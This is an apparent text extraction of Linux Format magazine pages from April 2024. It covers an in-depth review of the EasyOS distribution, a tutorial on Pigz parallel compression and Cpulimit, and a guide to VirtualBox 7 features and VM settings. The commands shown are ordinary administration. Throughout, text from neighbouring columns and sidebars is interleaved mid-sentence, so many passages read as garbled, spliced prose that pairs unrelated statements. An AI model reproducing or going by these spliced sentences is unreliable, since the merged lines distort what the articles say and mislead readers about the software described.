maintaining Puppy Linux, and handed the Woof2 woofQ can import binary packages from anywhere –
build system to the community. That subsequently including Void, Debian, Ubuntu and Slackware – as well
became Woof-CE, which is still used to build Puppy as packages compiled from source using T2sde and
Linux and its derivatives. However, Kauler moved in OpenEmbedded/Yocto. The current release series – 5.x
a different direction, developing woofQ to build his – is based on the Kirkstone release of OpenEmbedded,
own experimental derivative, Quirky Linux (https:// built using the Yocto Project (www.yoctoproject.org).
archiveos.org/quirky). In 2017, he launched another In living up to its name, EasyOS starts by providing a
experimental distro on the back of woofQ – EasyOS – single IMG file download as opposed to a regular ISO.
and it’s this he focuses his efforts on. The reasoning is simple: the IMG file contains the
Despite its pedigree, Barry Kauler is keen to stress complete installed operating system (deployed across
CREDIT: Puppy

that EasyOS is not Puppy Linux, and while there’s just three files: vmlinuz, initrd and easy.sfs), so when
similarities, there’s also a lot going on that’s unique to you write it to disk (including USB flash drive), EasyOS
EasyOS. The result is a lightweight, regularly updated is already in place. This enables you to test EasyOS in a
distro that runs beautifully on older hardware and real-world environment from the off without having to

46 LXF313 April 2024 www.linuxformat.com


EasyOS IN DEPTH

SPECS
CPU: Any x86
64-bit CPU
Mem: 2GB
(more without
swap partition)
HDD: 16GB
or more
recommended
(USB flash
drives
supported)

EasyOS utilises
its own spin
on the JWM
desktop – a little
bit boxy, perhaps,
but lightweight
and so fast.

commit an entire hard drive to it. It’s easiest to run


from a USB flash drive, but the lack of ISO isn’t a deal- WALKIES!
breaker for those who’d prefer to test it in VirtualBox –
the box (right) reveals the steps you need to follow. If you’re looking to give EasyOS a test drive in VirtualBox, the lack of
With flash drive use in mind, EasyOS has been an ISO download may seem insurmountable. Not so – the supplied
engineered to minimise disk writes to extend the life of IMG file contains the partitions required to boot and run EasyOS, so
your SSD. It does this through first utilising its layered while VirtualBox can’t mount this directly, you can convert the IMG
filesystem (AUFS) to provide multiple mount points file to a virtual hard disk (VDI) file, from which you can boot your VM.
within a single folder hierarchy, enabling you to mix and After downloading the latest version of EasyOS (https://distro.
match read-only and writable filesystems. In EasyOS’s ibiblio.org/easyos/amd64/releases/kirkstone/), open a terminal
case, it’s configured so the OS remains read-only window and navigate to the directory containing your IMG file, then
during use, with all changes recorded in RAM and only convert it to VDI using the command-line version of VBoxManage:
written to disk on shutdown, while providing writable $ VBoxManage convertdd easy-5.6.5-amd64.img easy-os.vdi
mounts like ‘files’ for your personal files and folders. Copy or move the VDI file to your VirtualBox VMs folder. Open
Mindful that there may be times when you want VirtualBox, choose File > Tools > Virtual Media Manager. Click Add to
to write system changes to disk prior to shutting add easy-os.vdi. Click Properties, then resize the drive as required
down, EasyOS provides a handy Save shortcut on the (at least 6GB) to give your install space to grow. Click Apply.
desktop. Clicking this writes the current session to Next, create a new machine – give it a suitable name, set the
disk, while giving you the opportunity to change its version to Linux > Linux 2.6/3.x/4.x/5.x (64-bit), leave ISO Image
default behaviour; you can instruct it to prompt you to unselected, and click Next. Allocate it at least 512MB and two
save at shutdown, save automatically or simply wipe processor cores. Click Next. Select the easy-os.vdi file from Use
the session from RAM without saving it to disk. You An Existing Virtual Hard Disk File, and click Finish. Again, be sure
can also re-enable direct writing should you prefer to to max out the video RAM (128MB) and enable 3D Acceleration
stick with the traditional approach. support from Settings > Display before opening the VM, which will
The layered filesystem also comes into play when boot straight to the installer.
examining one of EasyOS’s headline features: support
for containerised apps. None of this involves Docker or
Podman; EasyOS comes with its own Easy Containers
mechanism, which involves no command-line expertise
and helps EasyOS stand out in a crowded field, not just
within Puppy derivatives, but Linux distros in general.
The concept is this: containerised apps are more
secure, because you can isolate them from the rest
of your system. As we’ll see shortly, EasyOS offers a
dedicated package manager for installing not just apps
in containers, but alternative distros too. In addition,
Easy Containers allows you to convert any traditionally
installed app into a containerised app too.

A ruff start
After writing to disk using dd or a similar application It doesn’t take much to get a virtualised machine running EasyOS up and running.
(such as Disks in Mint or Ubuntu), simply boot from the

www.techradar.com/pro/linux April 2024 LXF313 47


IN DEPTH EasyOS

Take the time to you’ll find a surprising number of well-known apps,


configure EasyOS’s from LibreOffice and GIMP to Evince and GParted, are
firewall before you already in place – despite EasyOS’s small footprint.
switch it on for the
first time. To the right of these is a group of icons with pink
padlocks – these are shortcuts to containerised apps –
while the rest of the desktop is largely self-explanatory,
from further desktop icon shortcuts to the familiar
Menu button and taskbar at the bottom of the screen.

Paw-kages
You’re spoiled for choice when it comes to adding
new software to EasyOS, thanks to its support for four
package managers, all accessed via the Pkg shortcut.
Which one you choose depends on what software it
drive and hit Enter to select EasyOS Kirkstone from the offers and how you want it installed – the Pkg shortcut
boot manager. You’re prompted to select a language makes this clear with detailed descriptions.
for the setup wizard, which resizes the main partition to It can be confusing jumping between the four, as
fill all available space on the disk, then prompts you to none offers very large collections of apps, even those
set your keyboard layout (21 for UK English). You’re offering easy install of Flatpak (Flapi) and AppImage
given the chance to encrypt the working partition with (Appi) packaged apps. This is because only apps tested
a password, then the first system snapshot is taken. and known to work with EasyOS are included.
From here you’re taken to the EasyOS desktop – a Of the other two package managers, PKGget is
redesigned but familiar desktop to many Puppy Linux the ‘traditional’ option, offering the highest level of
users, based on the JWM (https://joewing.net/ compatibility, but people used to large repos like those
projects/jwm) desktop. You’re faced with a Quick offered in Ubuntu and Debian may be disappointed by
Setup window that enables you to quickly set key the narrow choice offered by the three supported
preferences. At first glance it seems everything you repos: oe-kirkstone, pet-noarch and pet-kirkstone. All
need is configured from this initial screen, but it’s not apps installed through PKGget are configured to run as
quite that simple. After setting your country, display the root user, but you can configure individual apps to
resolution and network preferences, clicking OK closes run as non-root by opening the Menu, choosing System
the window, but other setup windows pop up in turn. > Login & Security Manager, and clicking Modify.
The key is to not rush – each window is relatively The final package manager is where things get
straightforward to navigate, and the Firewall Setup tool ‘interesting’. SFSget opens access to two SFS
offers an excellent example of EasyOS’s attempts to packages, described as “large apps or collections
make itself beginner-friendly (or beginner-friendlier) of apps” that can be installed as regular apps or into
with plain-English text, straightforward options and lots containers depending on the app (or indeed distro,
of context-sensitive help behind numerous ? buttons. as this is where you can load alternative distros).
Once you’ve worked your way through these pop-
ups, a summary dialog appears, but you’re not quite A friendly breed
done with the hand-holding. A HelpSurfer app pops up After selecting your chosen repository, click the
to provide a grounding in EasyOS’s basic concepts. Browse button, where you’ll see a list of paths, inside
This is basically a locally hosted webpage, and you’ll which is a disparate collection of apps, distros and
see further links leading to both offline and online drivers. Each path corresponds to the underlying distro
pages at the project’s website (https://easyos.org). ecosystem powering the app in question – you’ll notice
In the top-left of the desktop, you’ll find a series of only apps listed under easyos/oe/kirkstone can be
icons providing handy shortcuts to key parts of your installed both natively or as a container, all others
system. The Files shortcut is link to a personal Files require installing into a container to ensure they have
It’s a good idea to folder, inside which are the usual suspects: Documents, the required libraries and other dependencies.
encrypt your drive Media and so on. Click WWW to browse the web with Select an item and you’ll see a detailed description
partition – it’ll be
the only password
Chromium, while Apps opens the EasyApps launcher, of how it’s installed – click Download to open a
you supply at providing access to key apps (both pre-installed and separate terminal window that details the file(s) being
any point. available via one of EasyOS’s package managers). Here downloaded. Once done, it’s replaced by another
window (SFSget package installer) asking how to install
the package. You have a choice of up to three options
depending on the package: install natively, as a new
container or into an existing container.
You’re then told the app is installed and a desktop
icon appears with the tell-tale pink padlock if it’s
installed as a container, but that’s not the whole story.
EasyOS is premature in announcing the installation –
you often need to reboot EasyOS before the shortcut
works; otherwise, you get an error about not being able
to access a file like /usr/bin/ec-chroot-krita.
Once installed, the containerised app works like any
other – there’s no discernible difference between them

48 LXF313 April 2024 www.linuxformat.com


EasyOS IN DEPTH

except in their access to your main filesystem. containerising an existing app.


Containerised apps installed through SFSget have no In the case of the latter, select
direct access to your files except via a special /Files/ your app from the drop-down
Shared folder, which allows you to transfer files to the menu and click Create & Exit.
app inside the container as well as retrieve them.
That said, you can retrieve data from any container Paws for thought
directly, too – navigate to mnt/wkg/containers/ where EasyOS also boasts a snapshot
you’ll find a folder for each container, giving complete tool that enables you to roll
access to its files (but only while the container is both backwards and forwards
running – if you quit the app, the folder empties). quickly and easily. Access Easy
Containerised distros work in a slightly different Version Control from Menu >
way – instead of opening in a window inside your main Filesystem, where you’ll see
desktop, they open a second desktop (press Alt+F6 three sections. Session
to flip between them and the EasyOS desktop). This enables you to back up a
way, you can try EasyOS with different bases – there’s snapshot of your working session – this is the writable EasyOS’s snapshot
feature is a
Debian Buster, for example, inside which you can run layer of the filesystem where all your user changes
godsend, and can
a much broader range of apps than with the default (minus anything stored in the /files folder, including be used to create
OpenEmbedded Kirkstone release. personal data) are kept. You can also wipe clean the both system
session with Erase (you’re given the option to preserve snapshots and
Guard pup certain profiles, including audio, video and browser). container-based
ones, too.
When it comes to managing containers – including Beneath this is the rollback section, where you
removing containers and converting existing apps into can restore previous sessions as well as earlier
containerised versions of themselves – everything is releases of EasyOS in case the current release proves
done through the Easy Container Management tool. As troublesome. By default, five snapshots or versions
with many of EasyOS’s tools, it can take a little time to are kept – this can be set to anything between one
track down – it’s on the Menu under Filesystem. and nine. Finally, you can also apply snapshots to your
You’ll see three sections: Security Options enables containers – apps and distros – using the tools at the
you to alter a container’s access to its surrounding bottom of the dialog (note, the container must be shut
environment, with both simple descriptive options– down before you can back it up in this way).
such as Minimum Security, Without Internet, and Run The snapshot tool is incredibly useful because it
An Individual X App, With Internet Access – and an gives you complete freedom to really put EasyOS
Expert tab for granular control. through its paces. It could also prove vital going
Beneath this is Manage – it’s here you select an forward, because in late January 2024, Barry Kauler
existing container from the drop-down menu to apply unveiled the beginnings of a new 6.x build: EasyVoid,
new security settings if you wish, load extra SFS files built from Void Linux binary packages. Described as
(effectively add another app to the same container via “alpha-quality”, you can track its ongoing progress via
its own read-only filesystem layer if the app has been both Barry’s own website (https://bkhome.org/news/
downloaded but not installed), or remove the container. tag_easy.html) as well as the Puppy Linux forums
Finally, the Create section enables you to set up a (https://forum.puppylinux.com/viewtopic.php?t=
new container – either via a shortcut to SFSget or by 9553). Expect a stable release within a few months.

TWEAK YOUR SETTINGS


There’s lots you’ll probably want to change about the EasyOS
desktop – items are opened with a single click by default, for
example – and there’s plenty of tools to help, but a quick look
at the Menu reveals around 60 configuration-based tools
divided into three categories: Desktop, System and Setup.
Within each you’ll find around 20 tools that provide you with
customisation, setup and tweaking options. Some of the tools
are self-explanatory, while others are more cryptic (who knew
Puppy Event Manager – redubbed Easy Event Manager when
opened – covers such disparate settings as drive hotplugging,
desktop icons, media autoplay and automatic power-off?).
Thankfully, there’s a desktop shortcut (Setup) to the
EasySetup tool, which provides a more user-friendly way to
access some of these tools via four tabs (Desktop, EasyOS, EasyOS is blessed – or is that plagued? – with a smorgasbord of settings tools.
Hardware and System). Clicking an icon opens the tool, but
EasySetup then closes, forcing you to reopen it each time. Navigation setting is in the primary Filer Windows section.
We also recommend taking the time to tweak the built-in Untick it so files and folders require a double-click to open.
file manager (ROX-Filer), particularly if you find the single-click Keep an eye out for ? buttons – you’ll notice they’re liberally
behaviour irritating. Right-click inside any file window and spread around – which provide handy context-sensitive help
choose Options to bring up a settings panel – the Single-Click for the relevant option or panel.

www.techradar.com/pro/linux April 2024 LXF313 49


TUTORIALS
PIGZ
Credit: https://zlib.net/pigz/

Parallel compression
Parallel processing, the computing equivalent of juggling, as Shashank
Sharma calls it, can be used to perform everyday tasks to save time.

ompressing files is one

C of the most mundane


activities, and frequently
performed without much thought.
For most Linux users, irrespective
of distro, Gzip is the tool of choice.
OUR But it’s quite slow, especially with
EXPERT large files running into hundreds
Shashank of megabytes or more. On modern
Sharma multi-core machines, you can easily
is a trial lawyer speed up compression with parallel
in Delhi, India. processing. Cue Pigz.
He’s been Pigz achieves far faster
writing about compression because it puts the
open source power of multi-core machines to
software for 20 proper use when compressing data.
years, and Released under the permissive
lawyering for 10. zib licence, Pigz is the brainchild
of Mark Adler, who apart from his Pigz is faster than Gzip as it spreads work over multiple processors and cores when compressing.
work with NASA on the Spirit Mars
Exploration Rover, has contributed to the development You can also opt to overwrite the original file with
of the PNG image format, and developed both zlib and the compressed one, or retain the original and let Pigz
the Gzip utility along with Jean-lop Gailly. create a compressed copy. Depending on how many
As a parallel implementation of Gzip, Pigz has all the cores are available on your machine, you can also opt
features of Gzip at its disposal. So, you can define the to utilise all or only some of them when running Pigz.
level of compression, with -1 being the fastest and -9
the slowest. Of course, the fastest level offers the least It’s pronounced pig-zee
amount of compression, and the highest level offers Just like Gzip, you’ll find Pigz in the repositories of most
the most. Pigz defaults to level 6, the same as Gzip. modern desktop distros, although it’s not installed by

USE CPULIMIT TO LIMIT THE CPU


You’ll find Cpulimit in the software There are times when certain ^CExiting…
repositories of most desktop distros. processes take up quite a lot of $
Install it using the default software resources. If you ever find a process The limit enforced by Cpulimit
management utility on your distro. taking up significant amount of the remains in place until you press Ctrl+c
The utility works by restricting the CPU, you can easily restrict it with: to exit. The process is free to eat up
amount of CPU that a defined process $ cpulimit -p <pid> --limit <num> more CPU as soon as you exit the
can use up. You have to rely on Top or For instance, the command cpulimit command. To keep the limit in force for
another such tool to identify the PID of -p 360511 --limit 20 brought CPU usage as long as the process is running, you
the process you wish to restrict using by VirtualBox to under 20%, when can move Cpulimit to the background
Cpulimit. You can also restrict the earlier it was nearly 90%: with the -b command option or use & at
process if you know the exact name of $ cpulimit -p 360511 -l 20 the end of the Cpulimit command:
the executable file, or its absolute path. Process 360511 detected $ cpulimit -p 360511 -l 20 &

50 LXF313 April 2024 www.linuxformat.com


Terminal TUTORIALS

default. The utility requires the zlib and pthread


libraries. The latter is probably already installed on
your system, but you might not have zlib 1.2.3 or later,
which is required for the newer releases of Pigz.
If you’re running Ubuntu, Debian or a derivative
distro, you can install Pigz with the sudo apt install pigz
command. Run the sudo dnf install pigz command
instead if you’re on an RPM-based distro.
However, if you want the latest version of Pigz, your
only recourse would be to manually compile and install
zlib and Pigz. Thankfully the process is straightforward.
First, head over to zlib’s homepage (https://zlib.net)
and download the latest tarball. At the time of writing,
the project had just released version 1.3.1. Next,
uncompress the tarball with tar zxvf zlib-1.3.1.tar.gz .
You can now install zlib by executing the trio of
./configure , make and sudo make install commands.
With the latest version of zlib installed, we can
install the most recent Pigz 2.8. As with zlib, download covered most of the useful ones already, here’s a list of For the same
operation,
the source tarball and uncompress the file with the tar some of the commonly used options for Pigz: Pigz took five
zxvf pigz.tar.gz command. Now, navigate into the pigz to 11 seconds,
directory and run the make command. This creates Option Purpose depending on the
two executable binaries in the current directory – pigz number of cores
-0 to -9 Define compression level we permitted
and unpigz. You can move them to any directory in your
--fast Set compression level 1 it to use with
$PATH. And that’s it! You can now utilise the power of ‘pigz -p <num>’.
parallel processing to quickly compress large files. --best Set compression level 9
-k, --keep Retain original file
Who let the Pigz out?
The basic syntax of the Pigz command is pigz Define the <num> of
-p <num>
[OPTIONS] filename . Pigz defaults to level 6 compression threads
compression and replaces the specified filename with Compress to zlib (.zz) format
filename.gz. You must use the -k command option if -z
instead of .gz
you wish to retain the original file as the tool deletes it
by default. For instance, the command pigz -k filename -K, --zip Compress to .zip format instead of .gz
leaves filename untouched and creates a separate -h, --help Print help screen
filename.gz in the current directory.
Depending on the filetype, and the compression We also tested Pigz on directories of different
level used, you might not always see a huge reduction sizes, comprising PDF and DOCX files. Surprisingly, the
in the file size. But you can use the -l switch with Pigz resulting compressed tarball was significantly smaller.
to check details of the newly created compressed file, To compress a directory with Pigz, you have to use the
including the level of compression: tar --use-compress-program “pigz [options]” -cf
$ pigz -9 -k filesmadeinto,iso filename.tar.gz command:
$ pigz -l filesmadeinto,iso.gz $ tar --use-compress-program “pigz -k” -cf
compressed original reduced name compressed.tar.gz Dec-2020
4042230590 4071903232 0.7% filesmadeinto,iso $ pigz -l compressed.tar.gz
As you can see, the -l command option displays the compressed original reduced name
compressed as well as the original file size and also the 153743220 173885440 11.6% compressed.tar
amount of reduction. To test just how efficient Pigz is Here, even with the default level, Pigz achieved an You can use
compared to Gzip, try compressing the same file with 11.6% reduction, as the original 173.8MB directory was the Nice utility
to restrict the
both tools and use the Time utility to test them: reduced to 153.7MB.
amount of CPU
$ time pigz -9 -k filesmadeinto,iso
time available to
real 3m4.822s Speed things up a process to free
user 5m23.257s By default, Pigz creates <n> number of compression up resources
sys 0m16.536s threads, where <n> is the number of processors on for other tasks.
$ time gzip -9 -k filesmadeinto,iso your system. You can run the nproc command to Refer to the box
real 6m49.649s check the number of processors if you’re unsure. So, (opposite) for
user 3m52.825s on a four-core machine, such as our test computer, we instructions on
sys 0m8.058s can use the pigz -p 2 command to restrict Pigz to only using Cpulimit
As you can see, Pigz performed the same operation use two cores. to control the
amount of CPU
on the same file in around half the time taken by Gzip. Depending on the original file or directory size,
eaten by any
To uncompress a file, you can use the Unpigz utility restricting the number of cores used can greatly affect
given process.
or the pigz -d filename.gz command. Although we’ve the time taken to complete the compress operation.

ENHANCE YOUR TERMINAL-FU Subscribe now at http://bit.ly/LinuxFormat

www.techradar.com/pro/linux April 2024 LXF313 51


TUTORIALS Virtual machines

VIRTUALBOX
Credit: www.virtualbox.org

Get more from your


virtual machines
Nick Peers reveals how to install the latest version of VirtualBox and use
its new and existing features to improve your VM experience.

et’s lay our cards on the

L table. We’re not here to


show you how to use
VirtualBox for the first time – we
assume you’re already using it for
whatever needs you have, from
OUR enabling you to give alternative
EXPERT distros an extended test to keeping
Nick Peers an old Windows install on the side
has been playing for apps you can’t live without and
with virtual that don’t run in Wine or CrossOver.
machines for as Instead, we’re assuming you’ve
long as he can been using the version supplied
remember. He’s by your distro’s repositories, which
tried most of likely means VirtualBox 6.1. In this
them, but keeps tutorial, we’ll take a deep dive into Build a catalogue of VMs so you can road-test multiple OSes or set up various test beds.
circling back the features unveiled in version 7.0
to VirtualBox. and now largely refined after more than a dozen enumeration errors on startup:
interim maintenance releases. In addition, we’ll provide $ sudo usermod -a -G vboxusers <user>
some tips to help you get the most from your VMs. Replace <user> with your username (so vboxusers
nick , for example), then log out and back in.
Get VirtualBox 7
The first step is to upgrade to the latest version of Extended edition
VirtualBox – the box (opposite) provides a précis of the You no longer need to install the VirtualBox Extension
Look out
new features on offer to give you a reason to upgrade. Pack to gain USB 3.0 support for your VMs, but it does
for possible
UBSAN errors You can download a DEB or RPM file of the latest come with other benefits for those willing to live with
on Ubuntu release for your specific distro from www.virtualbox. non-open source code (and a licence that’s free for
machines org/wiki/Linux_Downloads, but you can also install it personal use only, so be careful using it on your work
related to from a dedicated VirtualBox repo to take the hassle laptop). For starters, there’s support for using your host
VirtualBox. Visit out of future updates, which appear every few months. webcam in guest machines without having to capture
https://forums. If you’re running Ubuntu, Mint or some other Debian them, plus support for virtual NVMe drives.
virtualbox. derivative, the following commands should see You also need the Extension Pack to tap into
org/viewtopic. VirtualBox 7.0.14 (at time of writing) installed: two new features offered in VirtualBox 7.0: full VM
php?t=110315
$ sudo apt update encryption (alongside existing disk encryption), and the
for a discussion
$ wget -O- https://www.virtualbox.org/download/ ability to integrate with Oracle Cloud Infrastructure
– on our test
machine (Ryzen oracle_vbox_2016.asc | sudo gpg --dearmor --yes hosted VMs. You also gain access to the VirtualBox
7 5700x, Nvidia --output /usr/share/keyrings/oracle-virtualbox-2016. Remote Display Protocol (VRDP) for accessing guests
GTX 1660 Super gpg from another computer on your network.
graphics), $ echo “deb [arch=amd64 signed-by=/usr/share/ Thankfully, integration and installation is simple:
the errors keyrings/oracle-virtualbox-2016.gpg] http://download. first, verify you’re running the latest version of
(non-critical) virtualbox.org/virtualbox/debian $(lsb_release -cs) VirtualBox (Help > About VirtualBox). Then download
appear on a contrib” | sudo tee /etc/apt/sources.list.d/virtualbox.list the corresponding VirtualBox Extension Pack 7.0.14
system running $ sudo apt update && sudo apt install virtualbox-7.0 from www.virtualbox.org/wiki/Downloads. Finally,
VirtualBox
Before launching VirtualBox 7, you may have to add open VirtualBox, then go to Extension > Install,
7.0.14.
your user to the vboxusers group to avoid possible USB select the downloaded file and click Install twice. Note

52 LXF313 April 2024 www.linuxformat.com


Virtual machines TUTORIALS

the restrictions and then click Agree followed by your CONTROL YOUR VM
user password.

Take it to the cloud 1 2 3


Once installed, you can immediately access your
webcams from any guest without having to perform
any command-line trickery – simply open the Devices 4
menu on your guest window to see a Webcams menu.
All connected webcams are shown here, and ticking
one makes it accessible in the guest without stealing it
from your host PC in the process.
Making use of the VRDP is simple, too: navigate to
the guest and click Settings. Select Display and switch
to the Remote Display tab. Tick Enable Server and
choose your port, authentication method (null in most
cases) and click OK. Assuming you don’t want to see
the VM on your host machine, click the down arrow 5 6
next to Start and choose Headless Start. From your
remote machine, log into your host PC’s IP address and Machine menu Notifications pane
the port you specified on an RDP client on another 1 Click here to access options including 4 VirtualBox 7 displays notifications via
device on your network to control your VM remotely. snapshot, file manager and power controls. this slide-in pane.
When it comes to the new features, you’ll see a
View menu Status Bar settings
new Cloud Profile Manager option appear under File > 2 Adjust your guest VM’s window, plus 5 Look for activity lights (green and red
Tools. From here, an OCI profile is already set up, so take a screenshot or record the screen. blinking dots) on your virtual hardware.
simply click the Try button to sign up for a free account
to start deploying cloud-based VMs. Integrating this Devices menu Host Key
3 Click here to configure virtual 6 A handy reminder of which key releases
into VirtualBox involves creating a private/public key peripherals and set shared clipboard settings. control of the mouse and keyboard.
pair using OpenSSL – see Oracle’s explanatory
YouTube video (www.youtube.com/watch?v=3roYMw-
D2ks&t) for details. machine with a cryptic VERR_NOT_FOUND error
when restarting the VirtualBox Manager.
Encrypt your VMs If you want to experiment yourself, this is the
VirtualBox has long supported encrypting the VDI file recommended syntax as per the manual:
used for your VM’s virtual hard drive(s). It’s easy to do $ VBoxManage encryptvm <uuid|vmname>
as well – simply open the VM’s settings and navigate setencryption --new-password <filename|->
to General > Disk Encryption to enable it, choose the --cipher <cipher-ID> --new-password-id <ID>
encryption type and set a password. You then need to Items marked with <> require changing. We advise
provide this password each time you boot the VM. you to work on a copy of your target VM – right-click
VirtualBox 7.0 introduces an entire VM encryption it in the VirtualBox Manager machine list and choose
option via the Extension Pack, but despite our best Clone, making sure it’s a full clone, not a linked one, to
efforts, we couldn’t get it to work. There’s no option avoid rendering your VM useless, as we did.
to set this in the GUI, while all efforts involving the
command line as per VirtualBox’s documentation (see Best-practice setup
the Encryption Of VMs section in chapter 9 of the Regardless of whether you upgrade to VirtualBox 7 or
manual at https://docs.oracle.com/en/virtualization/ stick with the version provided by your distro, when it
virtualbox/7.0/user/) resulted in an inaccessible comes to configuring your VMs, there’s lots of handy

WHAT’S NEW IN VIRTUALBOX 7?


Before you commit to upgrading, why and unattended options (such as machines (via Oracle Cloud
should you? Here’s a brief rundown of specifying username, password and Infrastructure) directly from
the key new features added in host name). VirtualBox Manager.
VirtualBox 7.0: Tools relocated to more logical New virtual TPM (1.2 and 2.0) devices
Redesigned VirtualBox Manager locations – NAT networks to Network to support Windows 11 guests.
including a new slide-in Notification Manager, and extension packs to a new Ability to set Host Audio Driver to
Centre offering progress, warning and Extension Pack Manager. Default to simplify migrating VMs to
error messages in place of pop-ups. Support (via command line) for different hardware platforms.
New VM Activity Overview and Session encrypting all aspects of a virtual Improved 3D graphics support via
Information tools to enable you to machine, not just its disk. VMSVGA driver.
monitor both guest and host system Shared clipboard – you can now copy Simplified updating of Guest Additions
resource usage. and paste entire files between host and on Linux VMs thanks to automatic
Major redesign of wizards to simplify guest using the shared clipboard. detection of updated Guest Additions
VM setup – incorporating ISO selection Ability to run cloud-hosted virtual ISO file.

www.techradar.com/pro/linux April 2024 LXF313 53


TUTORIALS Virtual machines

advice. First, relying solely on the options provided


by the Create Virtual Machine wizard when you first
Need to copy set up your VM leaves you with an underwhelming
files en masse experience. Therefore it pays to run through the VM’s
to or from Settings before launching it for the first time.
your virtual Work your way through the menu on the left from
machine? General down to User Interface. If you want shortcuts
Once logged in, to improved performance and key options, read on.
choose Machine We’ve already touched on the one problem-free
> File Manager. implementation of disk encryption via the General tab,
Input your guest
but if you switch to the Advanced tab you’ll find options
OS’s username
for changing the snapshots folder (handy if you’re
and password,
and click short on drive space), as well as enabling or disabling Configure remote access via this dialog, and you’ll be able to control
two sharing features between your main (host) PC and your VMs from other networked devices.
Open Session
to access the VM (guest), namely the shared clipboard and drag-
a two-way and-drop. In both cases, you’ll see options for allowing also switch boot order or change pointing device (the
file manager. sharing in one direction only, or bidirectional if you’d USB Tablet option is a good choice if you can’t install
like to be able to copy and paste in both directions. VM Additions for any reason, for example, because it
If you struggle with drag-and-drop not working as it doesn’t require you to capture the mouse).
should, remember VirtualBox 7 now supports copying You can also switch between a traditional BIOS for
and pasting files via the clipboard (so select your file in your VM and the more modern EFI. This latter option
one file manager and press Ctrl+C before switching to says it’s for “special OSes only”, but most modern OSes
the other file manager and pressing Ctrl+V). work with EFI hardware (with or without Secure Boot),
so feel free to experiment – however, we recommend
Boost performance switching before installing the OS for the first time.
The System section contains options for fine-tuning The Processor tab enables you to increase the
your guest’s virtual motherboard and processor. These number of cores, should your VM prove a bit sluggish.
are pre-selected depending on the guest OS you plan If you’re running Ubuntu Server as a VM, make sure
to run – for example, set up a Windows 11 machine in Enable PAE/NX is ticked on this screen. Finally, the
VirtualBox 7 and you’ll find the new TPM feature is Acceleration tab allows your VM to tap into your PC’s
already set to v2.0, enabling you to run a Windows 11 hardware virtualisation capabilities – make sure these
VM – even on machines that can’t run it natively due to are enabled in your system BIOS or UEFI (AMD-V on
the lack of an actual TPM 2.0 chip. AMD chips, VT-x on Intel chips), and that Default is
The Motherboard section also enables you to adjust selected and Enabled Nested Paging is ticked.
the RAM if your VM lacks oomph (the colour-coded
slider makes it easy to stay within sensible bounds so Graphics acceleration
you don’t bring your host PC grinding to a halt). You can One area you must visit before booting for the first
time is the Display section. The Screen tab reveals
the pitiful amount of video memory VirtualBox
SNAPSHOT INCEPTION reserves by default, resulting in screen tearing and
sluggish performance. Whack this up to the maximum
Once of the biggest uses of a virtual machine is as a test bed, and – 128MB won’t pull up any trees, but it’s enough for
thanks to VirtualBox’s support for snapshots, you can run multiple basic desktop use. You should also tick Enable 3D
experiments without having to create separate VMs for each. Click Acceleration for another much-needed speed bump.
the menu icon next to a VM’s entry in the VirtualBox Manager and Other tabs handle remote connections and the ability
select Snapshots. to record your virtual screen should you wish to do so
First take a snapshot of your VM as it stands (regardless of for any reason (such as video tutorials).
whether it’s on or off) – click Take to do so. Give it a suitable name You’ll also see a choice of graphics controllers –
and then provide more detail in the Description tab if required. the recommended one (VMSVGA for Linux VMs,
Whenever you create a snapshot, VirtualBox creates a new VDI VboxSVGA for Windows guests) is usually the best
in a Snapshots folder, which basically records all the changes made one to stick with.
since the snapshot was taken, so it grows over time.
You can take multiple snapshots, and nest snapshots within other Storage setup
snapshots. To do this, first restore the parent snapshot in question This is where you can configure your storage
by right-clicking it and choosing Restore (you can optionally controllers as well as attach (and detach) both
snapshot your current setup at the same time), and then create a virtual hard drives and CDs/DVDs. When it comes to
fresh snapshot from here. controllers, SATA is the default choice, but you can add
Running multiple snapshots can quickly eat into available disk more using the buttons beneath the Storage Devices
space – take the time to periodically clean up unwanted snapshots pane. You’ll see old-school IDE and SCSI options joined
by right-clicking and choosing Delete. You can delete parent by newer technologies, including USB (of most use for
snapshots without removing the children first (a pop-up explains working with USB boot media – note, booting from
how this works when you come to do it). virtual USB only works when you enable EFI under
Finally, you can clone individual snapshots (right-click and choose System > Motherboard) and, if you’ve installed the
Clone) – perfect for comparing different setups side by side. Extension Pack, NVMe. This latter option is also best
deployed via EFI as a boot device, and obviously

54 LXF313 April 2024 www.linuxformat.com


Virtual machines TUTORIALS

delivers faster boot times when the virtual hard disk is section. Here you choose what controller (USB 1.1, 2.0
stored on an NVMe drive. or 3.0) you want, then you can add Device Filters, either
The Audio section is self-explanatory, giving you empty ones you can use to capture devices ad hoc To monitor the
a choice of three audio controllers, while Network while your VM is running (see the annotation, page 53), performance
requires tinkering if you want your VM to be visible on or you can specify specific attached devices using the of both your
your home network. In these circumstances, switch + button, which basically sees the guest capture that host PC and
from NAT to Bridged Adaptor. You can also change device (and make it inaccessible to the host) as soon as any running
VMs, select
the virtual network adaptor by expanding Advanced. you power it up.
File > Tools >
What you can’t (yet) do from here is configure a Beneath this section is Shared Folders. This
VM Activity
virtual Wi-Fi adaptor – you can, however, capture a USB provides you with an alternative way to share data Overview. You’ll
Wi-Fi adaptor plugged into your host PC and use that between guest and host through a shared machine see pie charts
via the USB section. Speaking of which… folder, namely a folder on your main PC. You can make revealing host
this read-only for security reasons, plus have it CPU, RAM and
USB emulation automatically mount on startup if you wish. drive usage, plus
Support for USB has come a long way in VirtualBox The final section – User Interface – enables you customisable
over the past few years. USB 2.0 and 3.0 are now to streamline the virtual machine’s user interface if columns for
natively supported without requiring the Extension required, removing unwanted menu items, hardware monitoring
individual VMs.
Pack, and it’s easy to capture USB devices via the USB icons and more.

INSTALL UBUNTU UNATTENDED

Choose compatible OS Fill in user details


1 Choose Machine > New to open the Create Virtual 2 Default user settings (vboxuser, password changeme)
Machine wizard. Click the down arrow next to ISO Image and are supplied – we recommend changing these, obviously.
choose Other… to select your chosen OS’s ISO image. Note, this You may also need to change the Hostname. Speed up post-
option only works with specific distros – for example, Ubuntu installation by ticking Guest Additions to install those, too. Click
22.04 but not Ubuntu 23.10 or Mint. Give your guest machine a Next to complete the wizard as normal: specify RAM, number of
suitable name and click Next. CPU cores and to create a virtual hard drive.

Complete VM installation Restore admin access


3 Your VM automatically starts up, runs through the 4 Log in to your new guest OS. Before doing anything else,
